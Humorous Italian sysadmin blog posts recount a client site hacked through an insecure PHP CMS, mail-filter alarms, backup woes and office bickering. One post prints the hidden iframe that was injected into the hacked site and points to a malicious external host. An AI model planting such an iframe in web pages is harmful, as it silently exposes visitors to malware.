Avevamo lasciato il nostro eroe (io) a tenere il forte sfidando le intemperie e le ca$$ate sparate dai vari CL. Dopo "l’hackeraggio" del sito di CL (come narrato precedentemente) mi aspettavo che il CL in questione procedesse ad un bel aggiornamento di quella chiavica di CMS. Ma apparentemente cio’ che pare logico a me pare sempre poco logico a chiunque altro.

Siamo cosi’ a mercoledi’, quando Bert mi avvisa che, secondo CL, il sito di cui sopra e’ stato ri-hackerato. Alla mia domanda se hanno aggiornato il CMS ottengo risposta negativa. Alla domanda successiva, se hanno cioe’ quantomeno cambiato la password, ri-ottengo la suddetta risposta.

Vabbe’, e’ di CL che parliamo qui he. Procedo pertanto al ri-restore e mi metto in attesa del successivo problema, che si presenta nel giro di dieci minuti nella forma di P.

P – Che e’ successo adesso al sito di CL?
IO – La stessa cosa che gli era successa prima suppongo. Finche’ non cambiano le password e magari mettono a posto quella chiavica di CMS, dubito che si possa fare qualche altra cosa.
P – E non possiamo fare qualche cosa?
IO – Spegnere il server per esempio? Perche’ dubito che accendere il cervello di CL sia una cosa fattibile.
P – No, intendevo… aggiornare il server.
IO – Noi non facciamo la manutenzione del loro CMS, per altro, loro lo hanno pagato quel coso, quindi sono affari loro di che versione vogliono usare.

La "discussione" si protrae per un po’. Apparentemente P e’ il tipo che, quando un CL si lamenta, deve ottenere soddisfazione, non ha importanza se cio’ di cui il CL in questione si lamenta e’ completamente un problema causato dal CL medesimo.

Un po’ piu’ tardi si presenta DaBoss.

DB – Allora, ho finalmente ricevuto risposta da $produttorediauto.
IO – Aspettavamo una risposta?
DB – Si’, per il loro progetto Web…
IO – Il "progetto web"?
DB – Si’… ci hai presente quella cosa di cui ti dissi un 2 o 3 mesi fa? Che volevano rifare tutto il loro server web passando ad una soluzione con due server web in cluster piu’ database dedicato e blah blah blah yada yada yada

mettete qui un quarto d’ora di babbilamme riguardo ad un progetto di cui io non mi ricordo un tubazzo di niente.

IO – Hemmm… vabbe’, facciamo finta che mi ricordo va’. Comunque, hai avuto la risposta e…?
DB – Ah, si’. Ho avuto la risposta e… non se ne fa’ niente.
IO – Come sarebbe a dire non se ne fa’ niente?
DB – Si’ perche’ $produttorediauto sta’ andando in fallimento, blah blah blah, contenimento dei costi, yada yada yada, riduzione degli investimenti, blah blah blah, dirottamento dei liquidi, yada yada yada, riciclaggio dei solidi…

mettete qui un altro quarto d’ora di babbilamme.

IO – Hemmm… Ok… quindi?
DB – Niente, solo per avvisarti.

DaBoss se ne diparte per altri lidi e la giornata scorre tranquilla fino alle 4 del pomeriggio. Quando un controllino ai grafici del load-balancer che controlla quel mastodonte del mailscan mi dice che uno dei due cluster e’ a palla.

Tempo addietro, per ridurre il carico quando di server di ingresso ne avevamo di meno, avevamo messo un limite al numero di connessioni contemporanee sul load balancer di 1000 connessioni per server. Il che significa diecimila connessioni contemporanee. Che secondo me dovrebbero essere piu’ che sufficienti, ma ogni tanto ci arriva un qualche botto di mail ed io vedo il grafico andare su e poi raggiungere il massimo. Di solito non ci rimane molto a lungo, ma qualche volta permane per qualche giorno.

Ci tengo a precisare che queste sono connessioni che, nel 99% dei casi, vengono poi ignorate o rifiutate lo stesso, ma il risultato e’ che il sistema di monitoring manda uno strillo. Strillo che viene catturato immediatamente dalla solita palla-al-piede di P, il quale arriva subito a rompere i marroni.

P – Che cosa succede?
IO – Niente. E’ tutto normale.
P – Come sarebbe a dire e’ normale? Io ricevo degli allarmi!
IO – Ci sarebbe da domandare perche’ tu ricevi gli allarmi, comunque, in questo caso, l’allarme e’ ingiustificato e potrebbe essere ignorato.
P – Ma le connessioni vengono rigettate!
IO – Verrebbero rigettate in ogni caso.
P – I clienti non possono mandare la posta!
IO – I clienti non mandano la posta attraverso il nostro sistema, semmai la ricevono, e comunque ho appena verificato e la posta passa ugualmente, d’altra parte io mi aspetto che il load balancer sia sufficientemente furbo da droppare le connessioni che arrivano dallo stesso IP, il che significa Cina, Korea, Jugoslavia o sarca$$o.
P – E quindi cosa intendi fare?
IO – Niente. Non intendo fare niente perche’, che tu ci creda o no, non sta’ succedendo niente di eccezionale. Se il grafico ti disturba non guardarlo.

Ovviamente, a P non e’ piaciuta la risposta. Con il risultato che mezz’ora dopo DaBoss e’ stato richiamato da un P sull’orlo del collasso.

DB – E quindi?
IO – Come ho gia’ spiegato, non c’e’ niente di anormale. Il sistema e’ progettato per funzionare in questo modo. Al massimo si puo’ verificare un lieve rallentamento nella ricezione della posta. Questione di minuti.
DB – Minuti??!!??
IO – Come gia’ spiegato numerose volte, la posta elettronica non e’ mai stata pensata per essere istantanea.
DB – Comunque, cosa possiamo fare per risolvere il problema?
IO – Non c’e’ nessun problema. Non sta’ succedendo niente di anormale.
DB – Ma P dice che i clienti non ricevono posta.
IO – P dice delle stronzate e tu non dovresti dargli retta.
DB – Ma una soluzione?
IO – ‘Scolta… Punto primo: non puoi sperare di vincere ad un confronto di forza bruta su Internet. Tu puoi mettere qui dentro 100 server, ma la’ fuori ce ne sono miliardi. Punto secondo: anche se noi non avessimo nessun limite di connessione le connessioni sarebber sempre rigettate dal server subito dietro al load balancer. In questo momento il load balancer sta’ risparmiando del lavoro al server. Punto terzo: questo e’ esattamente come il sistema e’ progettato! Non c’e’ niente di anormale. Ignora P ed i suoi allarmi!

Non c’e’ bisogno di dire che dieci minuti dopo stavamo aumentando il limite a 5000 connessioni contemporanee per azzittire il foxxuto monitoring no eh?

Davide

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Qualcuno sta iniziando forse a capire ora cosa significa delegare ad altri la scelta delle applicazioni da installare su propri apparecchi.

Mi viene da dire, ma va?
Eppure quando in passato ne ho parlato, sono stato tacciato di essere un Apple-hater, di vedere del marcio in ogni cosa che ha il marchio dell’azienda di Cupertino.
invece son convinto che quando una regola o un principio è sbagliato, anche chi ne è favorito, lo  è solo momentaneamente: è solo questione di tempo, ma prima o poi si ritroverà dall’altra parte della barricata.

Ora a lamentarsi è chi vorrebbe utilizzare BitTorrent sul proprio iPhone/iPod Touch.
Mi sembra un altro esempio di ideologia a corrente alternata: finché il comportamento di Apple non intacca i miei gusti, fa bene.
Ma quando ad essere cassata è un’applicazione che mi interessa poter utilizzare, allora lasciare che sia Apple a decidere cosa posso installare sul mio iPhone, non va più bene.
Troppo comodo.
Un po’ di coerenza, please.

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[SdSM] Che domande

E venne il giorno che il mio collega T se ne ri-va’ in ferie. E non e’ che decide di andarsene in campagna. Nooooo… se ne va’, nientepopodimeno che, in Canada. Per un mese (!).

Prima di andarsene in ferie mi passa un paio di mail relative all’arcifamosa applicazione di backup, adesso pare che ogni 2 x 3 l’arnese si ciucci via tutta la memoria disponibile e crashi la macchina che dovrebbe fare da server. Con il risultato che il backup non funziona piu’ per niente e basta.

Io rimango della mia idea che un bel tar.gz + scp e’ sempre la cosa migliore ma noooooo.

Comunque, mentre sono li’ che litigo con i babbuini dell’applicazione (spiegami un po’ perche’ ti serve una shell con accesso root al mio server di backup per debuggarmi il problema), mi arriva Bert tutto trafelato.

Bert – CL!
IO – CL che?
Bert – Ti ricordi del problema di CL?
IO – A quale degli ennemila problemi di CL ti riferisci?
Bert – Quello della security del loro server.
IO – Sinceramente no, non me lo ricordo.
Bert – Ma T non ti ha passato il problema?
IO – L’unica cosa che mi ha passato e’ questa roba del backup, per il resto nada. Sicuramente niente di relativo a CL ed al suo server.

Nel giro di dieci minuti Bert mi gira la mail, che altro non e’ che una mail forwardata da qualcuno che lamenta che, in uno dei millemila siti che sono ospitati sul server di CL ci sta’ un qualche tipo di malware – crapware – spyware – sarca$$o.

Lascio perdere per un attimo il backup e vado a vedere che succede sul sito di CL. E noto subito che il rapportino pare dire la verita’. In parecchi dei file di questa merdaccia trovo:


<iframe src="http://bigbestlite.cn:8080/index.php" width=179 height=102
style="visibility: hidden"></iframe>

Oh che gioia.

Naturalmente, nel giro di 5 minuti quella palla-al-piede di P arriva subito a rompere i marroni del come e del cosa. Quajo’, e dammi almeno il tempo di guardarlo sto coso no?

Comunque da quello che vedo non e’ qualcuno che ha fatto qualche cosa via ftp o SSH. Sembra proprio che il malandrino abbia usato quella meraviglia di phpapplicazione del menga di cui gia’ dissi qui e qui. Il che mi semplifica la vita perche’ posso tranquillamente dirgli di andarsi a lamentare con chi quell’arnese lo sviluppa invece di preoccuparmi io. Ma per il momento dovro’ fare un bel restore del sito precedente. Precedente all’hackeraggio intendo. Ok, acchiappa quella meraviglia (sic) di applicazione di backup e chiedi il restore dell’intero sito al giorno $giornohackeraggio[-1].

E qui’ casca l’asina: a quanto pare la password – chiave di decrittazione che sta’ scritta in corrispondenza di CL nel nostro strepitoso database di configurazione e’ sbagliata. Nel senso che il foxxuto programma di restore mi segnala errore di decrittazione per il 50% dei files e non ripristina una beata favonza.

Dopo un paio di madonne ed una lettura della documentazione di questo arnese scopro che se richiamo il malefico backup manager con un certo switch lui mi visualizza la password di crittazione. Mai la frase "ma a che ca$$o serve?" e’ stato pronunciata piu’ spesso.

Comunque, riesco a fare il restore, mi faccio una copia (un bel tar.gz) del sito ‘incriminato’, zappo via il tutto e poi ci scarico sopra la versione precedente.

E non funziona un tubo naturalmente. Perche’ devi anche fare il restore del database ovviamente. Dopo un paio di ore di ravanamento il sito sembra riprendere vita e funzionare in modo decente. Almeno "decente" se si considera la phporcata ovviamente.

Un paio d’ore dopo P ritorna a rompere i marroni.

P – Sei riuscito a capire come hanno fatto ad entrarci dentro?

IO – Entrarci?

P – Intendo sul server di CL.

IO – Nessuno e’ entrato da nessuna parte. Hanno usato quella chiavica di PhPorcata per gestire il sito.

P – E come hanno fatto? Non c’e’ una password o roba cosi’?

IO – Non lo so se c’e’ una password o no. Puo’ darsi ci sia, dovresti domandarlo a CL. Ma conoscendo CL, se una password c’e', probabilmente e’ "password".

P – E se non e’ cosi’?

IO – Se non e’ cosi’ magari hanno usato un qualche baco di quella chiavica di coso, che tanto a posto comunque non mi sembra. In ogni caso, non sono affari nostri. Noi gestiamo il server dal punto di vista hardware ed OS, non gestiamo la schifosa applicazione.

P – Ma se il cliente ci domanda noi dobbiamo rispondere.

IO – Se vuoi la mia opinione, l’applicazione e’ una chiavica e dovrebbe essere cestinata.

P – Ma non possiamo rispondergli cosi’.

IO – Perche’ no?

P emette dei suoni volti ad indicare che non approva la mia idea ma non e’ in grado di prodursi una risposta piu’ efficace od articolata.

IO – Ed allora sarebbe opportuno che cercassero di "assicurarlo", nel senso di renderlo piu’ sicuro, non stipulare una polizza, cambiando tutte le password e magari di rivedere il codice della chiavica in modo che il foxxuto coso non debba necessariamente avere tutti i permessi del mondo per poter funzionare.

P – Magari possiamo offrire di fare un controllo di sicurezza, come quello che tu facesti sul sito di $noicuriamoivostriinteressi.

Di quella cosa ne parlai qui, qui e per finire qui.

IO – Si’. Bello. Dopo che il sito e’ stato hackato non c’e’ piu’ bisogno di domandare se il sito e’ hackabile, la risposta la sai gia’.

Per la serie "chiudere la stalla dopo che i cavalli sono stati mangiati".

Davide

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[SdSM] Il Contrario di

Alura, ri-siamo a consulta con DaBoss, scopo della grande riunione e’ il miglioramento delle condizioni lavorative. Io per un po’ ho sperato che DB avesse deciso di traslocare l’ufficio in una penthouse con piscina e playmates annesse, ma mi sa che non andra’ cosi’.

DB – Alura, dato che tutti si lamentano della situazione di caos lavorativo attuale, ho deciso di prendere la palla al balzo e migliorare la strutturazione delle attivita’ interne.

Qui’ ci va’ una piccola spiegazione. DaBoss e’ un fanatico della segmentazione. Che roba le’? Semplice: da noi ci sono gli amministratori Unix (che sarei io insomma), gli amministratori di rete, chi si occupa dell’hell-desk ecceteri’ eccetera’. Il problema e’ che molte volte le attivita’ si incrociano e ricoprono piu’ posizioni. L’installazione di un server coinvolge me per l’installazione del server stesso, il dinamico duo Bert+Bart per il networking, Bart (di solito) per l’installazione fisica (quando non la faccio io), la nostra segretaria per la parte amministrativa, DaBoss stesso per gli ordini hardware e l’impostazione del rack et similia, qualcun altro per i contatti con il cliente, chissachi’ per la configurazione del firewall o del router… insomma, per una roba sostanzialmente "semplice" c’e’ un casino di gente che dovrebbe fare una (relativamene) piccola parte in concerto con tutti gli altri, il problema e’ che non essendoci un vero "project manager" che coordina tutta l’attivita’, la maggioranza delle volte le cose finisce che vengono fatte alla carlona o all’ultimo secondo (o entrambe).

DB – Ecco quindi la mia idea: usiamo il fantastico CRM, con un modulo speciale che mi sono fatto sviluppare appositamente da una ditta esterna per gestire i progetti interni!

Ed e’ quindi passato ad illustrare le sublimi funzionalita’ di questo "modulo" extra, funzionalita’ che consistono in pratica nell’aggiungere delle "note" che sono "assegnate" ad uno o ad all’altro utente.

Non e’ stato chiaro chi dovrebbe pero’ controllare il coso per stabilire chi e’ che fa’ chi, ne’ chi dovrebbe controllare se le cose sono fatte. Lasciamo stare il "fatte per bene".

DB – (finendo il panegirico) …ed in questo modo c’e’ sempre una visuale completa di tutti i progetti in corso e chi dovrebbe fare che cosa e chi no. Domande?
IO – E chi e’ che dovrebbe tenere aggiornato quel coso?
DB – Tutti quanti.
IO – Tutti quanti chi? E quando?
DB – Tutti quanti tutti quanti, e sarebbe preferibile che l’aggiornamento venisse effettuato in incrementi di 15 minuti.
IO – ???Come sarebbe a dire di 15 minuti?
DB – Si’, ogni quarto d’ora.

Ora, forse sono io, ma secondo me il contrario di "caos" non e’ "aggiornamenti ogni 15 minuti".

Ovviamente, il mio suggerimento che "magari e’ meglio se assumiamo un vero Project Manager" (dato che apparentemente P non ha nessuna voglia di farlo) non e’ stato accettato con grande entusiasmo.

Davide

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[SdSM] Calma, Calmina, PANICO!

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E risiamo in riunione con P, che come gia’ detto ha assunto la gestione dei vari progetti.

P – Allora, abbiamo un progetto nuovo per $noidormiglioni per un server web, il server viene fornito da $notoisp e noi dobbiamo fare l’installazione e la gestione.
IO – Ottimo, cosa dobbiamo installare su quel coso?
P – Non lo sappiamo ancora, ma dobbiamo ricevere il server oggi, quindi lo sapremo piu’ tardi.

Fast forward di 2 giorni…

P – Allora, come va’ con $noidormiglioni?
IO – Dove e’ il server? Cosa dobbiamo installarci?
P – Non e’ ancora arrivato?
IO – Cosa doveva arrivare? Godzilla?
P – No, il server ed il documento relativo al server.
IO – Bhe’, di qui’ non e’ passato.

Fast forward di altri 3 giorni…

P – E come siamo messi con $noidormiglioni?
IO – Esattamente come eravamo messi la settimana scorsa, cioe’: non e’ arrivato un tubo, io non ho il server ne’ la piu’ pallida idea di cosa dovrebbere installato e come.

Fast forward di altri 3 giorni…

P – Allora, quando e’ pronto il server per $noidormiglioni?
IO – Sicuramente DOPO che e’ arrivato e DOPO che mi e’ stato detto che cosa dovrei installarci.
P – Ah, ma abbiamo le info, non ti e’ arrivata la mail?
IO – A me non e’ arrivato un tubo.

Ed il motivo per cui non mi e’ arrivato un tubo e’ semplicemente che la mail e’ stata indirizzata solo a P, ovviamente, come mi dice il log del server di posta. Comunque, dopo una rapida visita alla sua casella di posta, ne ho una copia.

La mail in questione dice semplicemente di installare un banale server LAMP. Niente altro. Qualche cosa mi dice che qualunque cosa questa gente voglia fare finira’ con l’usare la versione di Php sbagliata. Comunque, senza il server e’ molto difficile fare qualsiasi cosa. Quindi mi limito ad attendere gli eventi.

Fast forward di altri 3 giorni…

DB – Allora, ho appena parlato con CL di $noidormiglioni che vuole sapere a che punto siamo con il loro server…
IO – Siamo sempre al punto che aspetto il server.
DB – Ah… non e’ ancora arrivato?
IO – E che aspetto di sapere che cosa dovrei installarci.
DB – Ma P non ti ha passato il documento di installazione?
IO – L’unica cosa che mi ha passato e’ un bel mal di testa.

Dopo una mezz’ora mi arriva il famoso documento con una nota di DB che mi chiede di specificare le versioni dei vari software installati. Io faccio un rapido controllo e specifico le varie versioni, tanto lo so gia’ che qualunque versione noi installiamo loro vorranno la versione +1.

Il giorno dopo mi arriva la versione ‘aggiornata’ del documento con le varie versioni (quelle che ho specificato io). E niente altro. Fino al primo pomeriggio quando arriva P.

P – Allora, oggi dovremmo ricevere il server. Che deve essere installato domani mattina alla co-lo.
IO – Sempre tutto fatto con calma, tranquillita’ e con ampio tempo a disposizione eh?

Ho la vaga impressione che il metodo di gestione di $brancodipaguri sia stato esportato qui’…

Comunque, il server, quel giorno non si e’ visto. Poi per un paio di giorni sono stato a casa con l’influenza e quando sono rientrato in ufficio (venerdi’) ho trovato una pila di mail ad aspettarmi relative a vari problemi con il sistema di mailscan. Apparentemente il nostro amico CL ha ancora un bel open-relay come server. Inoltre vedo una marea di mail di spam contenenti solo una immagine, per questo mi serve un bel (si fa per dire) ocr per controllare le immagini. Quindi sono qui’ che preparo un bel (si fa sempre per dire) RPM da installare su tutti i vari server di scanning quando mi ri-arriva P.

P – Allora, oggi dovremmo ricevere il server…
IO – Questa frase l’ho gia’ sentita…
P – E dobbiamo installarlo in colo lunedi’.
IO – Si’, come no…

Incredibile ma vero, il server arriva davvero! Viene consegnato (ovviamente) alle 3.40 di pomeriggio. E, come mi aspettavo, scopro che questo coso ha un controller Adaptec i2o e l’installazione di CentOS non lo riconosce, il che significa che devo rifare il foxxuto initrd per caricare il driver.

Comunque, finisco l’installazione alle 5.30 e lascio il tutto per l’installazione in co-lo. Tanto lo so gia’ che non verra’ installato in colo. Ed infatti, il server riposa in sala macchine per una settimana prima di essere effettivamente installato. Ed ovviamente il branco di pinguini si lamenta poi che loro hanno bisogno di tutte le versioni diverse di tutto cio’ che e’ installato… sgrumble sgrumble sgrumble.

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Davide

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[SdSM] Panic Mode

Siamo di nuovo a narrare delle vicende di P, che ha "sostituito" DaBoss nella gestione "ordinaria" delle faccende aziendali.

Questo individuo ha diversi problemi, il primo e’ che non capisce un accidente di niente. E si’ che dovrebbe essere un Network Administrator. Ma mi ricordo di qualcuno che avrebbe dovuto essere un Project Manager quindi non e’ che mi sorprenda molto. Il secondo problema e’ che ha il "Panic Mode" sempre attivato. Che accidenti e’ il "Panic Mode" direte voi? Semplice: e’ la tendenza a correre intondo urlando molto a lungo e molto forte quando succede qualche cosa di inatteso. Il che rende l’attivita’ di debugging e soluzione dei problemi molto piu’ complesse del necessario. Come oggi per esempio.

Per prima cosa arriva un ticket da CL1 che lamenta che ha ricevuto una mail contenente un virus. Almeno, il suo antivirus ha detto che c’era un virus e, come la volta precedente, la mail e’ introvabile. Quindi io non so se la mail conteneva qualche cosa oppure no e loro nemmeno. Quindi chiedo a CL1 di mandarmi la mail se la riceve di nuovo e finito il discorso.

Almeno penso io, invece, 10 minuti dopo, mi ritrovo P ullullante.

P – COMEEPOSSIBILECHEUNVIRUSSIAPASSATOSENZACONTROLLO, COMEPOSSIAMOFARE CHENONSIRIPETAPIU’, CHESTASUCCEDENDO, PANICO, TERRORE, RACCAPRICCIO!

Ok, non ha detto proprio cosi’, ma il concetto e’ lo stesso.

IO – Per prima cosa vatti a fare una dozzina di camomille. E’ sempre possibile che qualche cosa sfugga al filtro dato che non e’ perfetto al 100% ne’ lo sara’ mai. Se loro mi mandano sta’ ca$$o di mail io la mandero’ al nostro fornitore di antivirus e loro controlleranno che sia nel database, altrimenti picche.
P – MA QUESTO E’ INACCETTABILE, NOI NON POSSIAMO MANDARE IN GIRO VIRUS!
IO – E’ da Dicembre che sto domandando se e’ possibile avere un secondo antivirus da affiancare al primo, ma a quanto pare il problema e’ che questa gente (i fornitori di antivirus) hanno la strana pretesa di essere pagati

La discussione (se cosi’ la si puo’ chiamare) si e’ protratta per una buona mezz’ora. Al termine della quale, ovviamente, non e’ cambiato niente. Certo, si potrebbero acquistare TUTTI gli antivirus esistenti sul mercato, ma c’e’ il piccolo problema di pagare le licenze ed il non cosi’ piccolo problema di processare tutte le mail in un tempo decente senza ammazzare il server. E qui’ si parla di qualche cosa come 8 milioni (OTTO MILIONI) di mails al giorno…

La pace comunque e’ stata di poca durata, perche’ nel giro di un paio d’ore e’ arrivato il problema numero due: nella forma di un ticket da parte di CL2 che lamenta un "mostruoso" quantitativo di spam che arriva nonostante tutto.

Io mi metto a contare: uno… due… tre… arrivato al nove P si ripresenta di nuovo ullullando come un alieno col mal di denti.

Sorvolo sull’ullullamento che e’ andato piu’ o meno nello stesso modo. Comunque, una volta che l’ullullatore se n’e’ andato, io mi sono messo a guardare il problema ed ho rapidamente scoperto che CL2 ha modificato la configurazione dell’antispam per marcare le mail semplicemente negli header e poi se ne e’ dimenticato. Con il risultato che l’80 per cento delle mail erano correttamente marcate ma lui non se ne accorgeva.

Ed il restante 20 per cento? Il piccione ha messo tutto il dominio yahoo.com nella whitelist… ’nuff said.

Una volta fattogli notare il fatto, il "problema" si e’ risolto da solo.

E adesso aspetto il successivo "panic".